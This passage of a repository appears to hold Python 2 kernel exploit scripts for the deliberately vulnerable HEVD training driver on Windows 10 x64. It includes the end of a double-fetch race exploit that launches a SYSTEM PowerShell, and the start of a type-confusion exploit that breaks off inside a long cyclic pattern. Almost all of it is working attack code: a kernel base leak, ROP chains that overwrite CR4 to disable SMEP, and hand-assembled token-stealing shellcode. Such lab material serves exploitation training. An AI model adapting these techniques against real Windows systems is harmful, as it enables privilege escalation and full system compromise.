 97 |     chain += struct.pack('<Q', shellcode_addr)
 98 |     
 99 |     return chain
100 | 
101 | def open_device():
102 |     '''
103 |     (re)open vulnerable device
104 |     '''
105 |     global hFile
106 |     
107 |     if hFile > 0:
108 |         windll.kernel32.CloseHandle(hFile)
109 |     
110 |     hFile = windll.kernel32.CreateFileA(
111 |         device_name,
112 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
113 |         0x00000001,                                     # FILE_SHARE_READ
114 |         0,                                              # NULL
115 |         3,                                              # OPEN_EXISTING
116 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
117 |         0)                                              # NULL
118 |     
119 |     if hFile == -1:
120 |         print '[-] Failed to open device: %s' % device_name
121 |         return False
122 |     else:
123 |         print '[+] Device opened successfully: %s' % device_name
124 |         return True
125 | 
126 | def call_DoubleFetch(object):
127 |     '''
128 |     DeviceIoControl wrapper
129 |     '''
130 |     #open_device()
131 |     bytes_retn = c_ulong(0)
132 |     
133 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
134 |     windll.kernel32.DeviceIoControl.restype = BOOL
135 |     
136 |     windll.kernel32.DeviceIoControl(
137 |         hFile,
138 |         ioctl_DoubleFetch,
139 |         object,
140 |         0x10,
141 |         0,
142 |         0,
143 |         byref(bytes_retn),
144 |         0)
145 | 
146 | def get_kernel_base():
147 |     '''
148 |     find base address of the kernel via EnumDeviceDrivers
149 |     '''
150 |     array = c_ulonglong * 0x400
151 |     addr = array()
152 |     
153 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
154 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
155 |     
156 |     res = windll.psapi.EnumDeviceDrivers(
157 |             cast(byref(addr), POINTER(LPVOID)),
158 |             sizeof(addr),
159 |             byref(c_ulong(0)))
160 |     if not res:
161 |         return None
162 |     
163 |     # Kernel is the first entry of the result
164 |     return addr[0]
165 | 
166 | def worker(addr, value, evt):
167 |     '''
168 |     *(addr) = value until evt is set
169 |     '''
170 |     print '[+] Thread started: worker(0x%016x, 0x%016x, ...)' % (addr, value)
171 |     
172 |     while not evt.is_set():
173 |         # better off using an atomic operation, but it works anyway
174 |         memmove(addr, struct.pack('<Q', value), 8)
175 |     
176 |     print '[+] Thread stopped: worker(0x%016x, 0x%016x, ...)' % (addr, value)
177 |     
178 |     return
179 | 
180 | def break_code():
181 |     import time
182 |     time.sleep(0.5)
183 |     windll.kernel32.DebugBreak()
184 | 
185 | if __name__ == '__main__':
186 |     if not open_device():
187 |         sys.exit(1)
188 |     
189 |     base_addr = get_kernel_base()
190 |     if not base_addr:
191 |         print '[-] Failed to obtain Kernel base'
192 |         sys.exit(1)
193 |     print '[+] Kernel base address: 0x%016x' % base_addr
194 |     
195 |     shellcode_addr = alloc_buffer(shellcode())
196 |     if not shellcode_addr:
197 |         print '[-] Failed to allocate shellcode'
198 |         sys.exit(1)
199 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
200 |     
201 |     ropchain = build_ropchain(base_addr, shellcode_addr)
202 |     payload = 'A' * 0x808 + \
203 |               ropchain                                  # smashing saved rip
204 |     payload_buffer = alloc_buffer(payload)
205 |     
206 |     object = struct.pack('<Q', payload_buffer) + \
207 |              struct.pack('<Q', len(payload))            # DOUBLE_FETCH.Size
208 |     object_buffer = create_string_buffer(object)
209 |     
210 |     print '[+] Starting workers...'
211 |     
212 |     # workers that modify DOUBLE_FETCH.Size
213 |     e1 = threading.Event()
214 |     e2 = threading.Event()
215 |     t1 = threading.Thread(target=worker, args=(addressof(object_buffer) + 8, 0x800, e1))
216 |     t2 = threading.Thread(target=worker, args=(addressof(object_buffer) + 8, len(payload), e2))
217 |     t1.start()
218 |     time.sleep(0.1)
219 |     t2.start()
220 |     time.sleep(0.1)
221 |     
222 |     print '[+] Start racing with workers'
223 |     
224 |     while True:
225 |         call_DoubleFetch(addressof(object_buffer))
226 |         
227 |         # exploit succeeded?
228 |         if object_buffer.raw[:8] == struct.pack('<Q', 0xfeedfacecafebeef):
229 |             print '[+] Stopping workers...'
230 |             
231 |             e1.set()
232 |             time.sleep(0.1)
233 |             e2.set()
234 |             time.sleep(0.1)
235 |             
236 |             # Got SYSTEM shell?
237 |             import os
238 |             os.system("powershell.exe")
239 |             
240 |             break
241 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/TypeConfusion_v2.00.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v2.00 TypeConfusion exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | from ctypes.wintypes import *
 10 | 
 11 | ioctl_TypeConfusion = 0x222023
 12 | 
 13 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 14 | hFile = None
 15 | 
 16 | def pusha():
 17 |     '''
 18 |     alernative to pusha on x86
 19 |     '''
 20 |     # assembled with metasm
 21 |     code = ''
 22 |     code += '\x50'                                      # push rax
 23 |     code += '\x53'                                      # push rbx
 24 |     code += '\x51'                                      # push rcx
 25 |     
 26 |     return code
 27 | 
 28 | def popa():
 29 |     '''
 30 |     alternative to popa on x86
 31 |     '''
 32 |     # assembled with metasm
 33 |     code = ''
 34 |     code += '\x59'                                      # pop rcx
 35 |     code += '\x5b'                                      # pop rbx
 36 |     code += '\x58'                                      # pop rax
 37 |     
 38 |     return code
 39 | 
 40 | def mov_rcx(value):
 41 |     '''
 42 |     mov rcx,value
 43 |     '''
 44 |     code = '\x48\xb9' + struct.pack('<Q', value)
 45 |     return code
 46 | 
 47 | def mov_rdx(value):
 48 |     '''
 49 |     mov rdx,value
 50 |     '''
 51 |     code = '\x48\xba' + struct.pack('<Q', value)
 52 |     return code
 53 | 
 54 | def mov_r8(value):
 55 |     '''
 56 |     mov r8,value
 57 |     '''
 58 |     code = '\x49\xb8' + struct.pack('<Q', value)
 59 |     return code
 60 | 
 61 | def mov_r9(value):
 62 |     '''
 63 |     mov r9,value
 64 |     '''
 65 |     code = '\x49\xb9' + struct.pack('<Q', value)
 66 |     return code
 67 | 
 68 | def push_qword(value):
 69 |     '''
 70 |     mov rax,value; push rax
 71 |     '''
 72 |     code = ''
 73 |     code += '\x48\xb8' + struct.pack('<Q', value)
 74 |     code += '\x50'
 75 |     return code
 76 | 
 77 | def add_rsp(value):
 78 |     '''
 79 |     add rsp,value
 80 |     '''
 81 |     code = '\x48\x83\xc4' + chr(value)
 82 |     return code
 83 | 
 84 | def sub_rsp(value):
 85 |     '''
 86 |     sub rsp,value
 87 |     '''
 88 |     code = '\x48\x83\xec' + chr(value)
 89 |     return code
 90 | 
 91 | def call_func(addr):
 92 |     '''
 93 |     sub rsp,0x20; mov rax,addr; call rax; add rsp,0x20
 94 |     '''
 95 |     code = ''
 96 |     code += sub_rsp(0x20)                               # alloc shadow space
 97 |     code += '\x48\xb8' + struct.pack('<Q', addr)
 98 |     code += '\xff\xd0'
 99 |     code += add_rsp(0x20)                               # clear shadow space
100 |     return code
101 | 
102 | def retn():
103 |     '''
104 |     ret
105 |     '''
106 |     code = '\xc3'
107 |     return code
108 | 
109 | def shellcode():
110 |     '''
111 |     token stealing shellcode
112 |     '''
113 |     # assembled with metasm
114 |     # steal token
115 |     code = ''
116 |     code += pusha()
117 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
118 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
119 |     code += '\x48\x89\xc3'                              # mov rbx,rax
120 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
121 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
122 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
123 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
124 |     code += '\x75\xe5'                                  # jnz $-0x19
125 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
126 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
127 |     code += popa()
128 |     code += '\x48\x81\xec\x88\x02\x00\x00'              # sub rsp,0x288
129 |     code += '\x48\x31\xc0'                              # xor rax,rax
130 |     code += '\xc3'                                      # ret
131 |     
132 |     return code
133 | 
134 | def alloc_buffer(data):
135 |     '''
136 |     alloc buffer and copy data
137 |     '''
138 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
139 |     windll.kernel32.VirtualAlloc.restype = LPVOID
140 |     
141 |     buffer = windll.kernel32.VirtualAlloc(
142 |         0,
143 |         len(data),
144 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
145 |         0x40)                                           # PAGE_EXECUTE_READWRITE
146 |     
147 |     memmove(buffer, data, len(data))
148 |     
149 |     return buffer
150 | 
151 | def build_ropchain(kernel_base, shellcode_addr):
152 |     '''
153 |     trampoline to shellcode
154 |     '''
155 |     chain = ''
156 |     chain += struct.pack('<Q', kernel_base + 0x68464f)  # add rsp, 0x58; ret;
157 |     chain += struct.pack('<Q', 0x4141414141414141) * 11 # filler
158 |     chain += struct.pack('<Q', kernel_base + 0x11c667)  # add rsp, 0x118; ret;
159 |     chain += struct.pack('<Q', 0x4141414141414141) * 35 # filler
160 |     chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
161 |     chain += struct.pack('<Q', 0x506f8)                 # rcx
162 |     chain += struct.pack('<Q', kernel_base + 0x1f081e)  # add rsp, 0x48; ret;
163 |     chain += struct.pack('<Q', 0x4141414141414141) * 9  # filler
164 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
165 |     chain += struct.pack('<Q', shellcode_addr)
166 |     
167 |     return chain
168 | 
169 | def alloc_spray(rop):
170 |     '''
171 |     allocate data to spray
172 |     '''
173 |     pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1J